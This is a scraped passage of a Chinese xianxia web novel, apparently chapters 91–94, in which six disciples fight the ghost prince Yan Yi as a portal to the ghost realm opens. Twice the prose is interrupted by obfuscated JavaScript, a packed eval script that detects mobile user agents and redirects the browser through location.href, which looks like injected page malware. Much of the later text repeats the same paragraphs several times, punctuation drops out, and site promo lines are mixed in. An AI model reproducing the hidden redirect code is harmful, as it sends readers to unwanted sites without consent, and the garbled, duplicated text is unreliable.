空气中弥漫的酒气渐渐变了味,热度急剧上升,欢腾的情/欲凝结成一缕缕肉眼可见的云状烟雾漂浮在酒池上方,好似煮沸了酒液。 酒池的正中间,紫红色的气泡不停地翻滚破裂,咕咚之声混进了美人的喘息,池底似有什么东西正呼之欲出。 六人屏声敛气,静静等待着它的降临。 四周越来越热,一滴热汗伴随着萧问鹤吞咽的动作滚落喉结。 终于, 一抹耀眼的光华浮出了池面辉煌灿烂在众人的瞳孔中折射出熠熠光辉。 萧问鹤哑声道:“那是什么?” 祝如霜道:“好像是一顶冠冕?” “不”贺兰熹轻声道“那是一个人。” 冠冕的基底由纯金打造上面镶嵌着无数华贵的宝石象征着佩戴者至高无上的尊荣。 白观宁认识这副冠冕冠冕上最大的紫色宝石像极了他和他母后的眼睛——这是他母后的冠冕。 “母后……?” 白观宁嘴唇发抖压抑多时的情绪喷涌而出毫不犹豫地向酒池冲了过去。 “观宁!”祝如霜用尽全力拉住他却几乎快要拉不住:“你先等等那未必是你的母亲!” 越来越多的部位浮出了池面。 冠冕之下是一头微卷的长发紧接着是一张和白观宁极其相似的脸以及一身只有在楼兰宫廷才能看到的昂贵衣袍。 女人坐在楼兰王后专属的王座上闭着眼睛双手交叉于胸前优雅得像一幅宁静的画卷颇具神性之美。 美人们匍匐在她的王座下犹如一朵朵甘愿牺牲自己供奉神明的花无比痴迷地仰望着她。 “怎么不是?!”白观宁奋力从祝如霜手中挣脱“她就是我的母后!” 祝如霜:“——观宁!” 白观宁欲直接从楼上跳下去不料才跑出半步一股更加强大的力量从身后拉住了他他再怎么挣扎也无法撼动分毫。他猛地回头:“宋玄机!放开我!” 宋玄机并未碰到白观宁只是给他下了一道简单的禁制:“她以情/欲为食筑自身之躯。” 白观宁愣了愣 “筑躯……?”萧问鹤想起了当日鬼十一为了获得一具能在阳间行走且不损自身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋玄机眉眼轻轻一压。忘川三途还未有所反应,贺兰熹就道:“别这么叫我,‘宝贝’不是你能叫的。” 女人笑道:“那你让我叫你什么呢?小狐狸,还是小美人?” 贺兰熹道:“不必叫得如此亲密,我和你应该不熟。” “我还是希望你能让我叫的亲昵一点,我很喜欢你的脸。”女人回味无穷般地舔了舔嘴角,“何况,你们虽是不请自来,却也帮了我一点点小忙。” 贺兰熹冷冷道:“怎么,我们的情/欲比别人的好吃?” “是啊,太华宗弟子的情/欲,一向是最美味的。”女人眯起眼眸,“尤其是无情道情/欲的味道,我曾有幸尝过一次,念念不忘多年,没想到今日还能再尝一次,也算是得偿所愿了。” 女人说“没想到”,是没想到无情道弟子也会有情/欲,还是没想到他们会找到这里? 她之前尝过无情道情/欲的味道,又是指的谁的情/欲? “为了感谢你们,我决定给你们看一个有趣的东西。”女人的语气中听不出太大的敌意,好似根本没有把他们视为敌人:“用中原的说法便是——如此盛大之景,吾愿邀君共赏。” 女人温柔如水的声音的记忆中的一模一样,落在白观宁耳中却异常刺耳,几乎要将他刺穿:“你到底是谁?你把我母后怎么了?!” 祝如霜冷然开口:“若我没猜错,他应该是鬼界九殿下,阎猗。” 作者有话要说 第 92 章 他好像知道浣尘真... 先前六人在无尽之森,松籁真君曾告诉了他们不少有关鬼界殿下的消息,其中自然包括鬼界九殿下,阎猗。 “阎猗”这名字不算难听,但不好意思,在贺兰熹这里,他就叫鬼九。 神狐大人向他们提到鬼九的时候,一身的狐狸毛全炸了起来,神情颇像白观宁看到未完成功课的弟子时的样子。 松籁真君之所以如此厌恶鬼九,是因为这个淫/魔竟然一直觉得他的鬼道和合欢道院的道心并没有区别。 同样是偏爱美人,同样是利用情/欲修行,谁又比谁高贵呢。 别看藏玉仙君贵为合欢道初任院长,最后以身殉了苍生,骨子里不过是和他一样的人罢了。 “别的鬼殿下我懒得管,但阎猗,一定要死在我们合欢道人的手上。”当时的松籁真君咬牙切齿,如是说。 而现在,鬼界九殿下悠然自得地坐在酒池中的王座上,他们之中唯一的合欢道因母亲的遭遇神志濒临失控。 听到“阎猗”二字,白观宁再也无法忍耐,极怒之下竟然冲破了宋玄机给他下的禁制,一脚踏上回廊,借力从楼上跳了出去! 柔软的铜雀邀在这一刻变成了世间最锋利的刀刃,对准的却是母亲温热起伏的胸膛。 “她可是你的母后啊,”鬼九气定神闲地和白观宁对视,“你舍得吗?” 白观宁操控着绸缎的手臂紧紧绷着,动作却没有丝毫的犹豫和手软:“从我母亲身体里滚出去!” 鬼九一动不动,任由铜雀邀逼近自己的胸口。 白观宁眼眸一沉,鬼九的自傲反而给了他绝佳的机会。在铜雀邀即将刺入王后胸膛的刹那,绸缎忽然又变回了柔软的姿态,猝不及防地缠住了王后命门:“魂非此体,凶秽消散!” “离魂术?”萧问鹤惊喜道,“观宁在驱赶阎猗的魂魄!” 贺兰熹不太乐观地说:“怕是没那么简单。” 鬼九以情/欲为养料,精心为自己打造的身体早就脱离了普通人肉身的范畴,又岂是一道离魂术能撼动的。 果然,白观宁的离魂术并未对鬼九造成太大的影响。鬼九看着满脸愕然的白观宁,微笑地伸出手,摘下了白观宁脸上的半边面具。 扭曲可怖的面容暴露在紫色的眼眸中。 “我和你的师祖一样,素来怜香惜玉。”鬼九遗憾地摇了摇头,“可惜,你早不是香玉了。” 话落,由情/欲凝成的云雾骤然朝白观宁扑去,铺天盖地之势犹如泰山将倾,挡无可挡。 缠在鬼九身上的绸缎顷刻间四分五裂,白观宁被重重地掀了出去,眼看就要跌入酒池,身后突然撞进了一个称不上强壮,甚至稍显清瘦的胸膛。 白观宁:“……贺兰熹?” 强大的冲击力出乎了贺兰熹的意料,他不由皱了一下眉,迅速调整身姿站稳。 他一手揽着白观宁,一手拿着北濯天权,于酒池之上踏空而立。 贺兰熹看了眼白观宁,道:“别急别急,小白,我们都在。” 白观宁喉结滚了一滚:“……嗯。” 紫红色的“雨”不断地打在少年宽大的衣袍上,将白衣染成了他从未穿过的紫色,无端生出另一种绝色。 鬼九心神微荡,指尖难耐地敲打着王座的扶手:“最漂亮的伙伴来了,你们还在等什么?” 酒池中的美人闻言,纷纷朝贺兰熹涌来。 一百多个人围在贺兰熹脚下,一圈套着一圈,不遗余力地向他伸出痴迷渴望的手。 美人们对贺兰熹产生的情/欲又成为了鬼九新的力量,绵绵不断,仿佛没有止境一般地盘旋上升。 这些美人大多是无辜的普通人,直接对他们下手似有不妥,如果能让他们回房间里待着就好了。 贺兰熹正想着先腾出手把这该死的“雨”解决,没想到“雨”竟然自己停了——忘川三途的剑光横在所有人的头顶,将整个空间一分为二。 “雨”被隔绝在冰蓝色的屏障外,美人们的脸庞从欢愉变得麻木,对贺兰熹的情/欲也在逐渐消退。 对美人们来说,此处的规矩是雨落则欢,雨停则歇——他们该回房间休息了。 人潮如退潮的洪水,从贺兰熹身边散去。贺兰熹没有回头去看替他解决这个小麻烦的人,只是很轻地扬了一下嘴角。 鬼九没有错过贺兰熹的浅笑,居然也跟着笑了起来:“哦?你真的很喜欢他啊。” “是啊,怎样。”贺兰熹冷冷道,“他更喜欢我。” 鬼九简直爱惨了贺兰熹这副骄傲的模样,这只无情道 小狐妖的一举一动都戳在了他的喜好上:“你知不知道像你这般的无情道产生的情/欲落在我手里会有多大的威力?” 贺兰熹:“应该够你吃个十年八年的吧。” “何止。”鬼九“嘘”了一声精心养护的指尖豆蔻抵在唇前嘴角弯出醉人的弧度:“好戏即将开场大家可别眨眼哦。” 贺兰熹嗤笑一声:“谁理你。” 贺兰熹一扬手还在回廊上的四人忽然消失了。下一瞬宋玄机祝如霜和长孙策同时出现在了贺兰熹和白观宁身后还剩一个萧问鹤莫名其妙跑阁楼对面去了。 长孙策痛心疾首:“?老萧你在干嘛!” 萧问鹤赶紧认错:“我失误了抱歉!” 长孙策:“你这失误搞得我们的登场一下子就不霸气了!” 萧问鹤骑着仙鹤往伙伴们身边赶紧赶慢赶地归了位:“你又不是不知道我缩地成寸学得不好!” 继无尽之森后六名少年再次在战场上站在了一起。 “为什么要这样对我呢?”鬼九垂下眼睛颇为受伤地说:“我不想对你们出手我只想邀请你们与我一同观景啊。” 贺兰熹深知和敌人过多废话是大忌中的大忌干脆道:“我们不想观。” 鬼九好像没听见贺兰熹的拒绝似的自顾自一字一句道:“此景名为【欲壑之口】。” ……什么口? 贺兰熹隐约觉得这四个字很熟悉却想不起来自己在哪里听过足以证明这属于《九州史》的范畴。 贺兰熹看向白观宁。白观宁没有辜负他的期待沉着脸熟练背诵:“欲壑之口由欲而生可通阴阳两界。两千年前鬼界万鬼便是通过欲壑之口来到阳间祸害苍生的。传言鬼界中只有九殿下一人能在阳间打开欲壑之口。” 贺兰熹恍然大悟难怪鬼十三会优先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963551|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解开鬼九的封印。他对鬼九道:“谢了。既然你都好心告诉了我那我更不能让你如愿了。” “你误会我了小狐妖。”鬼九嫣然一笑 鬼九话音落下酒池中原本精致的酒液忽然动了起来。池底深处隐隐传来轰鸣之声似有什么东西在疯狂吞噬着酒液。 很快酒池被生生撕开 了一道口子贺兰熹曾在鬼界看到过的迷雾从里面喷涌而出阴寒之气席卷而至。 长孙策看得一愣一愣的好奇多于害怕恨不得把脑袋凑进去看个清楚演的就是一个无知者无惧:“这便是欲壑之口吗?” 宋玄机:“应该。” 宋玄机两个字让萧问鹤近乎绝望:“我说什么来着?下山前一定要向院长们报备!现在可好这是我们几个能应对的吗?” 宋玄机:“报备过。” 萧问鹤大松一口气:“那就好那就好你是向哪位真君报备的?” 宋玄机不再理会萧问鹤他能回答两个问题已经很不错了。 贺兰熹替宋玄机回答了这个问题:“不报备也无所谓有我们院长在。” “啊?”萧问鹤本能地一哆嗦左瞧瞧右看看:“江院长来了吗?” 鬼九居高临下地欣赏着自己的作品无不满意地说:“它是不是很漂亮?” 欲壑之口目前只有井口般大小雾气氤氲暗光流转如同一个刚出生的婴儿在情/欲的滋养下缓慢地生长着。 “还行吧。”贺兰熹扫了一眼道:“即便你能打开欲壑之口又如何你当北洛上神的神像是吃白饭的吗。” 鬼九点了点头:“你说的没错北洛对鬼界制定的第一条戒律便是鬼界众生不得擅入阳间。但你们有没有想过北洛用于约束鬼界的神力终会有耗尽的一日。” 贺兰熹神情微动。 “两千年……北洛已经支撑得够久了不是吗。”鬼九眼眸眯起视点拉向遥远的回忆:“早在十几年前 贺兰熹眼中浮现出些许的迟疑。近些年鬼界给他们带来的麻烦的确一日大过一日。 阴魂不散的鬼界殿下再度打开的欲壑之口以及失踪多年的浣尘真君…… 难道真如鬼九所言北洛上神用于约束鬼界众生的神力正在日渐减弱? 若真如此三界中唯一知道北洛神像具体位置的浣尘真君肯定会有所察觉。 北洛神力的消退意味着鬼界的不可控。如果他是浣尘真君一定会不惜一切代价让北洛神像支撑得更久。 北洛神像疏忽之处便是浣尘真君补充之时。 鬼九方才说早在十几年前北洛神像对鬼界的约束就已经开始力不从心了。 难道……?他好像知道浣尘真君的魂魄可能在哪里了! 贺兰熹倏地转向宋玄机:“宋浔你之前到底是向谁请假的?” 宋玄机轻一挑眉居然在这种时候和他卖了个关子:“你猜。” 看宋玄机的反应贺兰熹就知道他肯定和自己想到一起去了。 贺兰熹思路走得飞快忍不住抬头望向天空莫名觉得上面是不是少了一轮绯色的圆月:“如果真是他他们搞不好要见上一面了啊……” 作者有话要说 此处应@找老婆找了十八年的某人 第 93 章 你会来吗,浣尘真... 其他不知情者,例如长孙策脑子里想不到那么多弯弯绕绕此时眼中只有酒池中不断生长的欲壑之口。 不多时,欲壑之口已经扩大至可以通过一个成年男子的大小,仍不见有东西从里面出来。 长孙策不由把脑袋凑得离井口更近,狐疑道:“下面真的是鬼界吗?我怎么没看见……鬼啊!” 只听嗖地一声,一团青色的东西从井口窜了出来,不大不小刚好可以满满当当地扒在长孙策脸上。 冰冷软绵的触感 长孙策鸡皮疙瘩起了一身眼睛被那东西挡得严严实实。他连连后退,使出吃奶的劲想把那东西从脸上撕下来反而被扒得更紧:“这是什么鬼啊!” “小儿鬼而已,慌什么。”祝如霜的语气中不带半点心疼的。小儿鬼力量虽弱,速度却很快,一旦被他们缠上便极难摆脱最适合用来对付像长孙策这样没有耐心的人。“你应该知道它的弱点。” “我知道个屁!”长孙策愤怒道,“这种时候你就别考我了行不!” 两句话的功夫,第二只第三只……一群小儿鬼井喷般地欲壑之口涌了出来。他们似乎认准了长孙策,尽逮着他一个人死扒。长孙策全身上下找不到一块空位,全被小儿鬼扒满了。 长孙策忍无可忍:“祝云!就算你刚才不小心被我亲到了一口,你也不能见死不救吧!” 一直保持着镇定的贺兰熹在这一刻大惊失色:“什么??!!!” 祝如霜额角一跳,厉声道:“闭嘴——红灯笼!小儿鬼怕红灯笼!” “你早说不就得了!”身上挂满了小儿鬼,长孙策的动作比平时慢了五倍不止。他记得楼阁的房檐下挂了红灯笼,他正艰难地往那边去第二批鬼又从欲壑之口冒了出来。 贺兰熹匆匆一撇瞧见了抱着琵琶有预知能力的琵琶鬼; 能反射出人内心深处恐惧并无限放大的镜妖鬼; 长相似猿猴长着一双翅膀只穿着一条三角短裤的雷鬼…… 从欲壑之口出来的鬼即便来到了阳间力量也未见太大的减弱。再这样下去两千年前的人鬼大战怕是要 重演了。 混战之中贺兰熹拎起从他身边缓慢路过比自己高半个头的长孙策毫不手软地把人扔到了红灯笼旁:“宋浔擒贼先擒王!” 宋玄机一颔首:“阎猗交给你我去……” 不等宋玄机说完贺兰熹就闪了出去:“不阎猗交给你!” 宋玄机眉间轻蹙:“贺兰熹。” 抢占先机的贺兰熹双指划过剑身北濯天权瞬间爆发出惊人的力量剑气与他的身体似融为了一体以剑为屏以身为障飒飒如风至死死将欲壑之口堵在了身下! “天罡地煞 犹如潮水般的鬼界大军被强势切割一边是已经跑出来的几十个鬼另一边则是不计其数的千军万鬼正亟不可待地涌向欲壑之口。 两者中间只有一名未及弱冠的少年和他的一把剑。 贺兰熹可以将欲壑之口暂时堵住却无法制止它扩大的趋势。随着欲壑之口越来越大堵住它需要的灵力也越来越多。 贺兰熹脸上的血色以肉眼可见的速度退去肩上仿佛压着一座庞大的山峦喉间泛起阵阵血腥的味道。 堵住欲壑之口几乎耗尽了贺兰熹全部的心血。他单膝跪于欲壑之口以剑支撑不敢移动分毫只能眼睁睁地看着同伴们陷入焦灼之战。 长孙策总算摆脱了小儿鬼的纠缠他的衣服被抓得破破烂烂胸口多了无数道狠狠抓出来的伤痕。 烦人的小鬼让他失去了所有的耐心脱身后连睹青天都等不及用双手一抓便是两个小儿鬼拇指猛地一摁竟徒手折断了他们的头颅! 祝如霜对上了两个琵琶鬼一招一式均被对方看穿。 数次的僵持不下后祝如霜不再执着于一招取敌方要害。揽八荒一剑成阵万道夺目的剑光从天而降。 琵琶鬼哪怕能预知剑光的轨迹又如何揽八荒剑如其名揽尽八荒无处可躲。 万仗剑光不但利落地解决了两个琵琶鬼还顺便帮长孙策灭了一群小儿鬼。 萧问鹤的对手则是那只动不动就用雷劈人的雷鬼。在被落雷追得四处窜逃灵鹤的羽毛到处乱飞后萧问鹤看准时机骑着灵鹤俯冲而下。 灵鹤虽肥却不失敏捷一嘴叼走了雷鬼用来击雷的锤 子,又一嘴啄瞎了雷鬼的眼睛,惹来萧问鹤的大声夸赞:“宝宝做得好,宝宝太棒了,奖励你以后一日五顿!” 白观宁和镜妖鬼打得你来我往。镜妖鬼自以为看清了白观宁心中的恐惧,让他陷入了一个又一个幻境。 先是在考场上一道题都做不出来,后是母亲惨死在了他面前…… 白观宁咬紧牙关,不惜用铜雀邀自缚以保持神志的清醒。铜雀邀紧紧缠在他的手腕上,仿佛要勒进他的血肉。 白观宁挥出的每一击都伴随着皮肉之苦,却不妨碍他冷静地打破了镜妖鬼制造出幻象:“……你在放什么屁?老子是全宗第二!” 真正的全宗第二早就没有力气反驳他了。 酒池变成了人与鬼的战场,众鬼虽然在数量上倍杀,却渐渐落于下风。而他们的主人——鬼界九殿下,根本无暇为他们分身。 在发现情/欲的缠绕无法对那个美貌的无情道少年造成任何影响后,鬼九给了宋玄机最大的“尊重”。 “王后”的身体和王座急剧变大,不一会儿便变得比三层楼高还高。 鬼九宛若一尊巨大的神像屹立于酒池肉林,宋玄机站在他面前,甚至不及他的王座。 宋玄机腾空而上,鬼九的巨掌对准他轰然拍下,仿佛一收手就能将他握入掌心。鬼气在鬼九掌心聚集,形成一道森然的鬼阵。 忘川三途和巨掌短兵相接的刹那,整座酒池肉林竟晃出了波纹,酒池碎裂,酒液高溅,离他们较近的鬼众直接被掀飞了出去。 两人看似势均力敌,宋玄机却突然收了手,再一看,他竟连人也不见了。 鬼九还未反应过来,冰冷的剑光已经映进了他的瞳孔——忘川三途不知何时来到了他的头顶,朝着他直劈而下! 鬼九:“!!!” 为了躲避这毫无预兆的一击,鬼九庞大的身躯不得不向后倒去。宋玄机凌空踩在他朝上的胸口,忘川三途极快地划出一方剑阵。 最后一笔落下,黄金王座骤然爆开,无数剑影同时穿胸而过! “王后”的身躯上不见一丝剑痕,鬼九却直直地倒了下去,在落地之前就恢复了原本的大小。 失去了王座,狼狈起身的鬼九脸上依旧带着笑:“你是不是很着急呀?” 宋玄机一个字都没有施舍给他。 鬼九似看穿了宋玄机心中所想,唇角笑意更甚:“对付你的确要费不少功夫,也不知小狐妖能不能支撑到你我决出胜负的时候呢?” 回应鬼九只有忘川三途挥动的残影。 贺兰熹的目光始终跟随着宋玄机,他想告诉宋玄机“我能撑住你不用那么着急的”,可他的眼帘越来越沉重,血腥味也蔓延到了他的口腔。 视野逐渐模糊,他快要跟不上宋玄机的身影了。 他和他的剑成了唯一一扇可以打开欲壑之口的门。无数鬼众聚在门口,不断地踢打,撞击,撕咬,试图将他这扇门冲碎。 好重……身上好重,他快要撑不下去了。 你会来吗,浣尘真君? 你会保护我们吗……素未谋面的师尊大人? 贺兰熹再也支撑不住,唔地一声,吐出一大口鲜血。 鲜血一半染红了宋玄机借给他穿的衣袍,一半顺着北濯天权的剑身缓缓流淌。 祝如霜:“——时雨?!” 宋玄机眉眼蓦地一冷,不再乘胜追击,果断转向欲壑之口。 鬼九在他身后咯咯笑了起来:“我方才,说什么来着?” 仅剩的两只小儿鬼在长孙策耳旁尖声大笑,已是强弩之末的镜妖鬼大叫道:“他撑不住了,欲壑之口要开了!” 众鬼狂欢之际,琵琶鬼却停下了拨弦的动作,回头看向欲壑之口的方向,愣愣道:“……我们要消失了?” 镜妖鬼一怔:“你说什么?!” 琵琶鬼摇摇头,重复着刚才的话:“我们要消失了,连灰烬都无法留下?是谁?谁会来……”他像是看到了什么预兆,没有眼珠的眼白充斥着绝望的惊恐:“跑,快跑啊——” 贺兰熹拼尽仅剩的灵力争取了最后一点时间,倒下的时候,他还以为自己要被冲出来的鬼界大军踩在脚下,不料却被抱进了一个熟悉的怀抱。 贺兰熹闭着眼睛,迷迷糊糊地唤道:“……宋浔?” 宋玄机“嗯”了一声,忘川三途插进欲壑之口,正欲代替贺兰熹成为那扇隔开阴阳两界的门,动作忽地一顿。 贺兰熹似有所感,抓紧宋玄机的衣服,问:“是……他来了吗?” 宋玄机抱着贺兰熹,望着欲壑之口上静静凝结的冰霜:“是。” 贺兰熹嘴角扬起,虚弱地自夸了一句:“那我真是太聪明啦。” 果然,他没有猜错。这十八年来,浣尘真君的魂魄一直附着在北洛神像上。 在北洛神力无法顾及的时候,浣尘真君便是无情道院留给阳间最后的保障。 作者有话要说 下章大情侣该能见上一面!关键情节,明天我尽量更新! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 宋玄机一个字都没有施舍给他。 鬼九似看穿了宋玄机心中所想,唇角笑意更甚:“对付你的确要费不少功夫,也不知小狐妖能不能支撑到你我决出胜负的时候呢? 回应鬼九只有忘川三途挥动的残影。 贺兰熹的目光始终跟随着宋玄机,他想告诉宋玄机“我能撑住你不用那么着急的,可他的眼帘越来越沉重,血腥味也蔓延到了他的口腔。 视野逐渐模糊,他快要跟不上宋玄机的身影了。 他和他的剑成了唯一一扇可以打开欲壑之口的门。无数鬼众聚在门口,不断地踢打,撞击,撕咬,试图将他这扇门冲碎。 好重……身上好重,他快要撑不下去了。 你会来吗,浣尘真君? 你会保护我们吗……素未谋面的师尊大人? 贺兰熹再也支撑不住,唔地一声,吐出一大口鲜血。 鲜血一半染红了宋玄机借给他穿的衣袍,一半顺着北濯天权的剑身缓缓流淌。 祝如霜:“——时雨?! 宋玄机眉眼蓦地一冷,不再乘胜追击,果断转向欲壑之口。 鬼九在他身后咯咯笑了起来:“我方才,说什么来着? 仅剩的两只小儿鬼在长孙策耳旁尖声大笑,已是强弩之末的镜妖鬼大叫道:“他撑不住了,欲壑之口要开了! 众鬼狂欢之际,琵琶鬼却停下了拨弦的动作,回头看向欲壑之口的方向,愣愣道:“……我们要消失了? 镜妖鬼一怔:“你说什么?! 琵琶鬼摇摇头,重复着刚才的话:“我们要消失了,连灰烬都无法留下?是谁?谁会来……他像是看到了什么预兆,没有眼珠的眼白充斥着绝望的惊恐:“跑,快跑啊—— 贺兰熹拼尽仅剩的灵力争取了最后一点时间,倒下的时候,他还以为自己要被冲出来的鬼界大军踩在脚下,不料却被抱进了一个熟悉的怀抱。 贺兰熹闭着眼睛,迷迷糊糊地唤道:“……宋浔? 宋玄机“嗯了一声,忘川三途插进欲壑之口,正欲代替贺兰熹成为那扇隔开阴阳两界的门,动作忽地一顿。 贺兰熹似有所感,抓紧宋玄机的衣服,问:“是……他来了吗? 宋玄机抱着贺兰熹,望着欲壑之口上静静凝结的冰霜:“是。 贺兰熹嘴角扬起,虚弱地自夸了一句:“那我真是太聪明啦。 果然,他没有猜错。这十八年来,浣尘真君的魂魄一直附着在北洛神像上。 在北洛神力无法顾及的时候,浣尘真君便是无情道院留给阳间最后的保障。 作者有话要说 下章大情侣该能见上一面!关键情节,明天我尽量更新! 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 宋玄机一个字都没有施舍给他。 鬼九似看穿了宋玄机心中所想,唇角笑意更甚:“对付你的确要费不少功夫,也不知小狐妖能不能支撑到你我决出胜负的时候呢?” 回应鬼九只有忘川三途挥动的残影。 贺兰熹的目光始终跟随着宋玄机,他想告诉宋玄机“我能撑住你不用那么着急的”,可他的眼帘越来越沉重,血腥味也蔓延到了他的口腔。 视野逐渐模糊,他快要跟不上宋玄机的身影了。 他和他的剑成了唯一一扇可以打开欲壑之口的门。无数鬼众聚在门口,不断地踢打,撞击,撕咬,试图将他这扇门冲碎。 好重……身上好重,他快要撑不下去了。 你会来吗,浣尘真君? 你会保护我们吗……素未谋面的师尊大人? 贺兰熹再也支撑不住,唔地一声,吐出一大口鲜血。 鲜血一半染红了宋玄机借给他穿的衣袍,一半顺着北濯天权的剑身缓缓流淌。 祝如霜:“——时雨?!” 宋玄机眉眼蓦地一冷,不再乘胜追击,果断转向欲壑之口。 鬼九在他身后咯咯笑了起来:“我方才,说什么来着?” 仅剩的两只小儿鬼在长孙策耳旁尖声大笑,已是强弩之末的镜妖鬼大叫道:“他撑不住了,欲壑之口要开了!” 众鬼狂欢之际,琵琶鬼却停下了拨弦的动作,回头看向欲壑之口的方向,愣愣道:“……我们要消失了?” 镜妖鬼一怔:“你说什么?!” 琵琶鬼摇摇头,重复着刚才的话:“我们要消失了,连灰烬都无法留下?是谁?谁会来……”他像是看到了什么预兆,没有眼珠的眼白充斥着绝望的惊恐:“跑,快跑啊——” 贺兰熹拼尽仅剩的灵力争取了最后一点时间,倒下的时候,他还以为自己要被冲出来的鬼界大军踩在脚下,不料却被抱进了一个熟悉的怀抱。 贺兰熹闭着眼睛,迷迷糊糊地唤道:“……宋浔?” 宋玄机“嗯”了一声,忘川三途插进欲壑之口,正欲代替贺兰熹成为那扇隔开阴阳两界的门,动作忽地一顿。 贺兰熹似有所感,抓紧宋玄机的衣服,问:“是……他来了吗?” 宋玄机抱着贺兰熹,望着欲壑之口上静静凝结的冰霜:“是。” 贺兰熹嘴角扬起,虚弱地自夸了一句:“那我真是太聪明啦。” 果然,他没有猜错。这十八年来,浣尘真君的魂魄一直附着在北洛神像上。 在北洛神力无法顾及的时候,浣尘真君便是无情道院留给阳间最后的保障。 作者有话要说 下章大情侣该能见上一面!关键情节,明天我尽量更新! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 宋玄机一个字都没有施舍给他。 鬼九似看穿了宋玄机心中所想,唇角笑意更甚:“对付你的确要费不少功夫,也不知小狐妖能不能支撑到你我决出胜负的时候呢? 回应鬼九只有忘川三途挥动的残影。 贺兰熹的目光始终跟随着宋玄机,他想告诉宋玄机“我能撑住你不用那么着急的,可他的眼帘越来越沉重,血腥味也蔓延到了他的口腔。 视野逐渐模糊,他快要跟不上宋玄机的身影了。 他和他的剑成了唯一一扇可以打开欲壑之口的门。无数鬼 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贺兰熹拼尽仅剩的灵力争取了最后一点时间,倒下的时候,他还以为自己要被冲出来的鬼界大军踩在脚下,不料却被抱进了一个熟悉的怀抱。 贺兰熹闭着眼睛,迷迷糊糊地唤道:“……宋浔? 宋玄机“嗯了一声,忘川三途插进欲壑之口,正欲代替贺兰熹成为那扇隔开阴阳两界的门,动作忽地一顿。 贺兰熹似有所感,抓紧宋玄机的衣服,问:“是……他来了吗? 宋玄机抱着贺兰熹,望着欲壑之口上静静凝结的冰霜:“是。 贺兰熹嘴角扬起,虚弱地自夸了一句:“那我真是太聪明啦。 果然,他没有猜错。这十八年来,浣尘真君的魂魄一直附着在北洛神像上。 在北洛神力无法顾及的时候,浣尘真君便是无情道院留给阳间最后的保障。 作者有话要说 下章大情侣该能见上一面!关键情节,明天我尽量更新! 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 宋玄机一个字都没有施舍给他。 鬼九似看穿了宋玄机心中所想,唇角笑意更甚:“对付你的确要费不少功夫,也不知小狐妖能不能支撑到你我决出胜负的时候呢?” 回应鬼九只有忘川三途挥动的残影。 贺兰熹的目光始终跟随着宋玄机,他想告诉宋玄机“我能撑住你不用那么着急的”,可他的眼帘越来越沉重,血腥味也蔓延到了他的口腔。 视野逐渐模糊,他快要跟不上宋玄机的身影了。 他和他的剑成了唯一一扇可以打开欲壑之口的门。无数鬼众聚在门口,不断地踢打,撞击,撕咬,试图将他这扇门冲碎。 好重……身上好重,他快要撑不下去了。 你会来吗,浣尘真君? 你会保护我们吗……素未谋面的师尊大人? 贺兰熹再也支撑不住,唔地一声,吐出一大口鲜血。 鲜血一半染红了宋玄机借给他穿的衣袍,一半顺着北濯天权的剑身缓缓流淌。 祝如霜:“——时雨?!” 宋玄机眉眼蓦地一冷,不再乘胜追击,果断转向欲壑之口。 鬼九在他身后咯咯笑了起来:“我方才,说什么来着?” 仅剩的两只小儿鬼在长孙策耳旁尖声大笑,已是强弩之末的镜妖鬼大叫道:“他撑不住了,欲壑之口要开了!” 众鬼狂欢之际,琵琶鬼却停下了拨弦的动作,回头看向欲壑之口的方向,愣愣道:“……我们要消失了?” 镜妖鬼一怔:“你说什么?!” 琵琶鬼摇摇头,重复着刚才的话:“我们要消失了,连灰烬都无法留下?是谁?谁会来……”他像是看到了什么预兆,没有眼珠的眼白充斥着绝望的惊恐:“跑,快跑啊——” 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贺兰熹拼尽仅剩的灵力争取了最后一点时间,倒下的时候,他还以为自己要被冲出来的鬼界大军踩在脚下,不料却被抱进了一个熟悉的怀抱。 贺兰熹闭着眼睛,迷迷糊糊地唤道:“……宋浔?” 宋玄机“嗯”了一声,忘川三途插进欲壑之口,正欲代替贺兰熹成为那扇隔开阴阳两界的门,动作忽地一顿。 贺兰熹似有所感,抓紧宋玄机的衣服,问:“是……他来了吗?” 宋玄机抱着贺兰熹,望着欲壑之口上静静凝结的冰霜:“是。” 贺兰熹嘴角扬起,虚弱地自夸了一句:“那我真是太聪明啦。” 果然,他没有猜错。这十八年来,浣尘真君的魂魄一直附着在北洛神像上。 在北洛神力无法顾及的时候,浣尘真君便是无情道院留给阳间最后的保障。 作者有话要说 下章大情侣该能见上一面!关键情节,明天我尽量更新! 你的朋友正在书荒,快去帮帮他吧 第 94 章 你可……真是让我... 贺兰熹一倒下,除宋玄机以外的四人也相继匆匆赶到了他身边。 奇怪的是,余下的鬼众不但没有阻拦他们,反而拼命地朝反方向狂奔,仿若一群在天灾面前溃不成军的蝼蚁。 人鬼混战的局面忽然泾渭分明。五个少年把身负重伤的贺兰熹围得严严实实,搞得贺兰熹都看不清到底什么情况了。 “你们让让啊,”贺兰熹快急死了,一边试图站起来一边艰难开口:“挡住我了,我看不到……” 宋玄机把他按回怀里:“别乱动。” 萧问鹤给贺兰熹让出一条细缝,疑惑道:“这些鬼怎么了?” 欲壑之口再度打开,却不见预期中的鬼界大军。封住洞口的冰霜在弹指之间迅速蔓延,如同一只冰冷的掌心,无声无息地将整个人间罩入掌心。 时间在这一刻戛然而至,四处溃逃的鬼众一动不动,绝望惊恐的神情牢牢定格在他们脸上。 欲壑之口上方,无数透明晶莹的微粒缠绕飞舞,犹如夏日萤火,汇聚成一个模糊的轮廓。 